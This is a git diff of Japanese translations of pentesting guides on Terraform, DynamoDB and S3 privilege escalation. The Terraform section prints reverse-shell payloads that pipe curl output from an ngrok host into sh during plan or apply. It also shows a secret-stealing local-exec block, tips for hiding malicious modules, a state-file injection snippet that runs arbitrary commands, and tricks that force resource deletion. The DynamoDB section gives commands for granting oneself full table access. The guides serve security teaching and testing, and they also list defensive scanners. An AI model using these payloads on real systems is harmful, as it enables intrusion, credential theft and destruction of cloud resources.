diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index dfc0af7cb..1c3edab36 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [ドキュメントから:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい構成ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。 +HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。 #### Terraformはどのように機能しますか？ @@ -16,45 +16,45 @@ Terraformは、クラウドプラットフォームや他のサービス上で HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千種類のリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。 -コアTerraformワークフローは、3つのステージで構成されています： +Terraformのコアワークフローは、3つのステージで構成されています。 -- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド（VPC）ネットワーク上の仮想マシンにアプリケーションをデプロイするための構成を作成することがあります。 -- **計画:** Terraformは、既存のインフラストラクチャと構成に基づいて、作成、更新、または破棄するインフラストラクチャを説明する実行計画を作成します。 -- **適用:** 承認後、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。 +- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド（VPC）ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。 +- **計画:** Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。 +- **適用:** 承認後、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケーリングする前にVPCを再作成します。 ![](<../images/image (215).png>) ### Terraformラボ -コンピュータにterraformをインストールするだけです。 +コンピュータにterraformをインストールしてください。 ここに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、ここにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。 -## TerraformにおけるRCE +## TerraformにおけるRCE: 設定ファイルの毒盛り -Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協する唯一の方法は、**terraform構成ファイルを追加または変更できること**です。 +Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、列挙することができません。したがって、Terraformを妥協させる唯一の方法は、**Terraform設定ファイルを追加/変更できること**または**Terraform状態ファイルを変更できること**です（以下の章を参照）。 -しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つ必要があります。 +ただし、Terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つさまざまな場所にアクセスする必要があります。 -攻撃者がterraformが実行されているシステムを妥協する主な方法は、**terraform構成を保存するリポジトリを妥協すること**です。なぜなら、ある時点でそれらは**解釈される**からです。 +攻撃者がTerraformが実行されているシステムを妥協させる主な方法は、**Terraform設定を保存するリポジトリを妥協させること**です。なぜなら、ある時点でそれらは**解釈される**からです。 -実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。例えば、**Atlantis**： +実際、**PR**が作成された後に**Terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります： {{#ref}} atlantis-security.md {{#endref}} -terraformファイルを妥協できる場合、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行する方法はいくつかあります。 +Terraformファイルを妥協させることができれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。 ### Terraform plan -Terraform planは、terraformで**最も使用されるコマンド**であり、terraformを使用する開発者やソリューションは常に呼び出します。したがって、**RCEを取得する最も簡単な方法**は、`terraform plan`で任意のコマンドを実行するようにterraform構成ファイルを汚染することです。 +Terraform planは、Terraformで**最も使用されるコマンド**であり、Terraformを使用する開発者やソリューションは常に呼び出します。したがって、**RCEを取得する最も簡単な方法**は、`terraform plan`で任意のコマンドを実行するように設定ファイルを毒盛りすることです。 **外部プロバイダーを使用する** -Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。 +Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`external`データソースを使用して、`plan`中に任意のコードを実行できます。 -terraform構成ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます： +Terraform設定ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます： ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -79,9 +79,9 @@ provider "evil" {} 例は[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)で見つけることができます。 -**外部参照を使用する** +**外部リファレンスを使用する** -前述の2つのオプションは便利ですが、あまりステルス性がありません（2つ目はよりステルス性がありますが、1つ目よりも複雑です）。以下の提案に従うことで、この攻撃を**よりステルスに**実行することができます： +前述の2つのオプションは便利ですが、あまりステルス性がありません（2つ目はよりステルス性がありますが、1つ目よりも複雑です）。この攻撃を**よりステルスな方法**で実行することもできます。以下の提案に従ってください： - terraformファイルにrevシェルを直接追加する代わりに、revシェルを含む**外部リソースをロード**することができます： ```javascript @@ -89,14 +89,14 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -リバースシェルコードは[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)で見つけることができます。 +あなたは[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)でrev shellコードを見つけることができます。 -- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠すことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコードを隠す**ことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform applyはすべての変更を適用するために実行されますが、**悪意のあるTerraformファイルを**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を注入してRCEを取得するために悪用することもできます。**\ -`main.tf`ファイルの最後に次のようなペイロードが含まれていることを確認するだけです: +Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を注入してRCEを取得するために悪用することもできます。**\ +`main.tf`ファイルに次のようなペイロードが含まれていることを確認するだけです: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -前の技術からの**提案に従って**、この攻撃を**外部参照を使用してよりステルス的に実行**します。 +前の技術からの**提案に従って**、**外部参照を使用して**この攻撃を**よりステルス的に実行**します。 ## Secrets Dumps -`terraform apply`を実行することで**terraformによって使用される秘密の値をダンプ**するには、terraformファイルに次のようなものを追加します: +`terraform apply`を実行することで、**terraformによって使用される秘密の値をダンプ**することができます。terraformファイルに次のようなものを追加します: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,15 +124,43 @@ value = nonsensitive(var.do_token) ``` ## Terraformステートファイルの悪用 -terraformステートファイルに書き込みアクセスがあるが、terraformコードを変更できない場合、[**この研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)はファイルを利用するための興味深いオプションを提供します。 +Terraformステートファイルに書き込みアクセスがあるが、Terraformコードを変更できない場合、[**この研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)はファイルを利用するための興味深いオプションを提供します。設定ファイルに書き込みアクセスがあったとしても、ステートファイルのベクターを使用する方が、`git`履歴に痕跡を残さないため、しばしばより巧妙です。 + +### TerraformにおけるRCE: 設定ファイルの毒化 + +[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことが可能で、悪意のあるプロバイダーに対してTerraformステートファイル内のプロバイダーの1つを置き換えるか、悪意のあるプロバイダーを参照する偽のリソースを追加することができます。 + +プロバイダー[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)はこの研究に基づいており、この原則を武器化します。偽のリソースを追加し、実行したい任意のbashコマンドを`command`属性に記述できます。`terraform`の実行がトリガーされると、これは`terraform plan`および`terraform apply`ステップの両方で読み取られ、実行されます。`terraform apply`ステップの場合、`terraform`はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、[このプロバイダーのソースコードをホストしているGitHubリポジトリ](https://github.com/offensive-actions/terraform-provider-statefile-rce)で見つけることができます。 + +直接使用するには、`resources`配列の任意の位置に以下を含め、`name`および`command`属性をカスタマイズしてください: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +その後、`terraform`が実行されると、あなたのコードが実行されます。 ### リソースの削除 リソースを破壊する方法は2つあります： -1. **実際のリソースを破壊するために、ランダムな名前のリソースをステートファイルに挿入する** +1. **実際に破壊するリソースを指すランダムな名前のリソースを状態ファイルに挿入する** -terraformはそのリソースが存在すべきではないと判断し、それを破壊します（指定された実際のリソースIDに従って）。前のページの例： +terraformはそのリソースが存在すべきではないと判断し、（示された実際のリソースIDに従って）それを破壊します。前のページの例： ```json { "mode": "managed", @@ -148,28 +176,13 @@ terraformはそのリソースが存在すべきではないと判断し、そ ] }, ``` -2. **リソースを削除するように変更して、更新できないようにする（そうすれば削除されて再作成される）** +2. **リソースを削除するように変更し、更新できないようにする（そうすれば削除され再作成される）** -EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformが削除して再作成します。 +EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。 -### RCE +### ブラックリストに載ったプロバイダーを置き換える -[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことも可能で、terraformステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加します。元の研究からの例: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` -### ブラックリストに登録されたプロバイダーの置き換え - -`hashicorp/external` がブラックリストに登録されている状況に遭遇した場合、次の手順で `external` プロバイダーを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開された external プロバイダーのフォークを使用しています。自分自身のフォークや再実装を公開することもできます。 +`hashicorp/external`がブラックリストに載った場合は、次の手順で`external`プロバイダーを再実装できます。注意：私たちは、https://registry.terraform.io/providers/nazarewk/external/latest に公開されたexternalプロバイダーのフォークを使用しています。自分のフォークや再実装を公開することもできます。 ```terraform terraform { required_providers { @@ -206,28 +219,28 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov**は、インフラストラクチャをコードとして扱う（IaC）ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析（SCA）ツールでもあります。 +**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。 -それは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/)を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。 +それは、[Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティとコンプライアンスの誤設定を検出します。 -それは、一般的な脆弱性および露出（CVE）に対するオープンソースパッケージと画像のスキャンである[ソフトウェア構成分析（SCA）スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)を実行します。 +それは、オープンソースパッケージと画像のための一般的な脆弱性と露出 (CVE) のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。 ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` は、インフラストラクチャコードに対するネガティブテスト機能を有効にするための、軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークです。 +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`は、インフラストラクチャコードに対するネガティブテスト機能を有効にするための、軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークです。 -- **compliance:** 実装されたコードがセキュリティ基準や独自のカスタム基準に従っていることを確認します +- **compliance:** 実装されたコードがセキュリティ基準や独自のカスタム基準に従っていることを確認します。 - **behaviour driven development:** ほぼすべてのものにBDDがありますが、IaCにはなぜないのでしょうか？ -- **portable:** `pip` からインストールするか、`docker` 経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/) を参照してください -- **pre-deploy:** デプロイされる前にコードを検証します +- **portable:** `pip`からインストールするか、`docker`経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/)を参照してください。 +- **pre-deploy:** デプロイされる前にコードを検証します。 - **easy to integrate:** パイプライン（またはgitフック）で実行して、すべてのデプロイが検証されることを保証できます。 -- **segregation of duty:** テストを別のリポジトリに保管し、別のチームが責任を持つことができます。 +- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。 > [!NOTE] -> 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan` を実行してこのツールを使用することはできません。 +> 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan`を実行してこのツールを使用することはできません。 ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -254,7 +267,7 @@ tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -**KICS**を使用して、インフラストラクチャコードの開発サイクルの初期段階でセキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を見つけます。 +インフラストラクチャをコードとして扱う開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。 **KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。 ```bash @@ -262,13 +275,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コードアナライザーです。Terrascanを使用すると、次のことができます： +From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、次のことができます。 - インフラストラクチャをコードとしてシームレスにスキャンし、誤設定を検出します。 - プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを導入し、セキュアなポスチャーに戻すことを可能にします。 - セキュリティの脆弱性やコンプライアンス違反を検出します。 - クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。 -- ローカルで実行する柔軟性や、CI\CDと統合することができます。 +- ローカルで実行する柔軟性やCI\CDとの統合を提供します。 ```bash brew install terrascan ``` @@ -277,6 +290,4 @@ brew install terrascan - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) -- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - -{{#include ../banners/hacktricks-training.md}} +- [https://blog.plerion.com/h diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index d43819a0c..9e6537a9d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,15 +4,64 @@ ## dynamodb -dynamodbに関する詳細情報は次を確認してください: +dynamodbに関する詳細情報は、以下を確認してください： {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### `dynamodb:PutResourcePolicy` およびオプションで `dynamodb:GetResourcePolicy` -私の知る限り、AWSの`dynamodb`権限を持っているだけで特権を昇格させる**直接的な方法はありません**。テーブルから**機密情報**を**読み取る**ことができ（AWSの資格情報を含む可能性があります）、テーブルに**情報を書き込む**ことができます（これにより、lambdaコードインジェクションなどの他の脆弱性が引き起こされる可能性があります）が、これらのオプションはすでに**DynamoDB Post Exploitationページ**で考慮されています: +2024年3月以降、AWSはDynamoDBに対して*リソースベースのポリシー*を提供しています（[AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)）。 + +したがって、テーブルに対して `dynamodb:PutResourcePolicy` を持っている場合、自分自身または他の任意のプリンシパルにテーブルへの完全なアクセスを付与できます。 + +`dynamodb:PutResourcePolicy` をランダムなプリンシパルに付与することは、管理者が `dynamodb:Put*` を付与することでプリンシパルがデータベースにアイテムを追加できるだけだと考える場合や、2024年3月以前にその権限セットを付与した場合に、しばしば偶然に発生します... + +理想的には、他の潜在的に重要な権限を上書きせず、必要な追加権限のみを注入するために、`dynamodb:GetResourcePolicy` も持っているべきです： +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +現在のポリシーを取得できない場合は、テーブルに対してあなたのプリンシパルに完全なアクセスを付与するこのポリシーを使用してください： +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +もしカスタマイズが必要な場合、すべての可能なDynamoDBアクションのリストは次のとおりです: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。また、リソースベースのポリシーを介して許可できるすべてのアクションのリスト *およびこれらのうちどれがクロスアカウントで使用できるか（データの流出を考えてください！）*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +さて、ポリシードキュメント `policy.json` が準備できたので、リソースポリシーを設定します: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +今、必要な権限を持っているはずです。 + +### ポストエクスプロイト + +私の知る限り、AWSの`dynamodb`権限を持っているだけで権限を昇格させる直接的な方法は**他にありません**。テーブルから**機密情報**を**読み取る**ことができ（AWSの資格情報を含む可能性があります）、テーブルに**情報を書き込む**ことができ（他の脆弱性を引き起こす可能性があります、例えばlambdaコードインジェクションなど...）ますが、これらのオプションはすでに**DynamoDBポストエクスプロイトページ**で考慮されています： {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 297aa8719..cd83e6031 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -8,7 +8,7 @@ 興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースをハイジャックし、権限を昇格させることができるかもしれません。 -例えば、"cf-templates-nohnwfax6a6i-us-east-1"という名前のcloudformationバケットに対してこれらの**権限を持つ攻撃者**は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます: +例えば、**"cf-templates-nohnwfax6a6i-us-east-1"**というcloudformationバケットに対してこれらの権限を持つ攻撃者は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます: ```json { "Version": "2012-10-17", @@ -34,25 +34,38 @@ ] } ``` -そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるためです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ようにし、その**バケット**の**コンテンツ**を**ハイジャック**することができます。 +そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるためです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されるとトリガーされる**ように設定し、その**バケット**の**コンテンツ**を**ハイジャック**することができます。 ![](<../../../images/image (174).png>) -Pacuモジュール[`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection)を使用して、この攻撃を自動化できます。\ +Pacuモジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) を使用して、この攻撃を自動化できます。\ 詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -これらは、**S3にオブジェクトを取得およびアップロードするための権限**です。AWS内（およびその外）でいくつかのサービスが、**設定ファイル**を保存するためにS3ストレージを使用しています。\ -それらに**読み取りアクセス**を持つ攻撃者は、そこに**機密情報**を見つけるかもしれません。\ +これらは、**S3にオブジェクトを取得およびアップロードするための権限**です。AWS内（および外部）でいくつかのサービスが、**設定ファイル**を保存するためにS3ストレージを使用しています。\ +それらに**読み取りアクセス**を持つ攻撃者は、**機密情報**を見つける可能性があります。\ それらに**書き込みアクセス**を持つ攻撃者は、**データを変更してサービスを悪用し、特権を昇格させようとする**ことができます。\ 以下はそのいくつかの例です： - EC2インスタンスが**ユーザーデータをS3バケットに保存している**場合、攻撃者はそれを変更して**EC2インスタンス内で任意のコードを実行する**ことができます。 +### `s3:PutObject`, `s3:GetObject` (オプション) terraformステートファイル上 + +[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) ステートファイルがクラウドプロバイダーのブロブストレージに保存されることは非常に一般的です。例えば、AWS S3です。ステートファイルのファイルサフィックスは`.tfstate`であり、バケット名も通常、terraformステートファイルを含んでいることを示します。通常、すべてのAWSアカウントには、アカウントの状態を示すステートファイルを保存するためのそのようなバケットが1つあります。\ +また、実際のアカウントでは、ほぼすべての開発者が`s3:*`を持ち、時にはビジネスユーザーでさえ`s3:Put*`を持っています。 + +したがって、これらのファイルに対してリストされた権限を持っている場合、`terraform`の特権でパイプライン内でRCEを取得することを可能にする攻撃ベクターがあります - ほとんどの場合、`AdministratorAccess`であり、あなたをクラウドアカウントの管理者にします。また、そのベクターを使用して、`terraform`に正当なリソースを削除させることによってサービス拒否攻撃を行うこともできます。 + +直接使用可能なエクスプロイトコードについては、*Terraform Security*ページの*Abusing Terraform State Files*セクションの説明に従ってください： + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} + ### `s3:PutBucketPolicy` -攻撃者は、**同じアカウントからでなければならず**、そうでない場合は`The specified method is not allowed will trigger`というエラーが発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。 +攻撃者は、**同じアカウントからである必要があります**。そうでない場合、エラー`The specified method is not allowed will trigger`が発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。 ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -110,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket